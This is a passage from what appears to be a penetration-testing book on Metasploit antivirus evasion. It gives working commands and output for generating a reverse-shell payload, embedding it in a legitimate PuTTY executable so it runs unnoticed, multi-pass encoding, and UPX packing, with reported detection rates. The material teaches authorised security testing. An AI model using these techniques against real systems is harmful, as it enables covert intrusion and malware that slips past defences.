shell_reverse_tcp LHOST=192.168.1.101 LPORT=8080 E
[*] Please wait while we load the module tree...
[*] Started reverse handler on 192.168.1.101:8080
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.1.101:8080 -> 192.168.1.195:1191)
C:\Documents and Settings\Administrator\My Documents\Downloads>
And voilà: We have successfully opened a shell without being detected by
antivirus software.

106 Chapter 7
Figure 7-4: The backdoored executable is not detected by AVG.
Launching a Payload Stealthily
For the most part, when a targeted user launches a backdoored executable
such as the one we just generated, nothing will appear to happen, and that
can raise suspicions. To improve your chances of not tipping off a target, you
can launch a payload while simultaneously continuing normal execution of
the launched application, as shown here:
root@bt:/opt/framework3/msf3# wget http://the.earth.li/~sgtatham/
putty/latest/x86/putty.exe
. . . SNIP . . .
2011-03-21 17:02:48 (133 KB/s) – 'putty.exe' saved [454656/454656]
root@bt:/opt/framework3/msf3# msfpayload windows/shell_reverse_tcp
LHOST=192.168.1.101 LPORT=8080 R | msfencode -t exe -x putty.exe -o /var/
www/putty_backdoor.exe -e x86/shikata_ga_nai -k -c 5
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 369 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 396 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 423 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 450 (iteration=5)
In this listing, we download the PuTTY Windows SSH client at and
then access PuTTY using the -k flag at . The -k flag configures the payload
to launch in a separate thread from the main executable so the application
will behave normally while the payload is being executed. Now, as shown in
Figure 7-5, when this executable is processed with AVG, it comes back clean
and should execute while still presenting us with a shell! (This option may
not work with all executables, so be sure to test yours before deployment.)
When choosing to embed a payload in an executable, you should con-
sider using GUI-based applications if you’re not specifying the -k flag. If you
embed a payload into a console-based application, when the payload is run,
it will display a console window that won’t close until you’re finished using
the payload. If you choose a GUI-based application and do not specify the -k

Avoiding Detection 107
flag, when the payload is executed, the target will not see a console window.
Paying attention to these little details can help you remain stealthy during an
engagement.
Figure 7-5: AVG declares the payload safe and the computer secure.
Packers
Packers are tools that compress an executable and combine it with decom-
pression code. When this new executable is run, the decompression code
re-creates the original executable from the compressed code before execut-
ing it. This usually happens transparently so the compressed executable can
be used in exactly the same way as the original. The result of the packing pro-
cess is a smaller executable that retains all the functionality of the original.
As with msfencode, packers change the structure of an executable. How-
ever, unlike the msfencode encoding process, which often increases the size of
an executable, a carefully chosen packer will use various algorithms to both
compress and encrypt an executable. Next, we use the popular UPX packer
with Back|Track to compress and encode our payload3.exe payload in attempt
to evade antivirus software detection.
root@bt:/# apt-get install upx
. . . SNIP . . .
root@bt:/# upx
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2009
UPX 3.04 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 27th 2009
Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..
. . . SNIP . . .
Type 'upx--help' for more detailed help.
UPX comes with ABSOLUTELY NO WARRANTY; for details visit http://upx.sf.net

108 Chapter 7
root@bt:/# upx -5 /var/www/payload3.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2009
UPX 3.04 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 27th 2009
File size Ratio Format Name
-------------------- ------ ----------- -----------
37888 -> 22528 59.46% win32/pe payload3.exe
Packed 1 file.
At we install UPX, and then at we run UPX with no arguments to
view its command line options. Then at we use the -5 option to compress
and pack our executable. You can see at that UPX compresses our payload
59.46 percent.
In our tests, only 9 of 42 antivirus vendors detected the UPX-packed binaries.
NOTE The PolyPack project (http://jon.oberheide.org/files/woot09-polypack.pdf)
shows the results of packing known malicious binaries with various packers and the
effectiveness of antivirus detection before and after the packing process.
A Final Note on Antivirus Software Evasion
The world of antivirus software moves very quickly, even by Internet stan-
dards. As of this writing, the methods and processes documented in this
chapter work successfully; however, experience has shown that even a few
months can bring major changes in how antivirus evasion is accomplished.
Although the Metasploit team is constantly tweaking its payloads and attempts
to stay one step ahead of detection algorithms, don’t be surprised if by
the time you work through these examples, some work and some do not.
When you’re attempting antivirus evasion, consider using multiple packers
or encoders, as mentioned, or write your own. Antivirus evasion, like all pen-
etration testing skills, needs to be practiced and requires dedicated research
to help you ensure success in your engagements.
MSF VENOM
In this chapter we cover only the msfpayload and msfencode utilities, but there is an
additional tool called msfvenom that combines the functionalities of msfpayload and
msfencode in a simpler-to-use interface. Msfvenom is not covered in detail in this book
(see Appendix B), but it s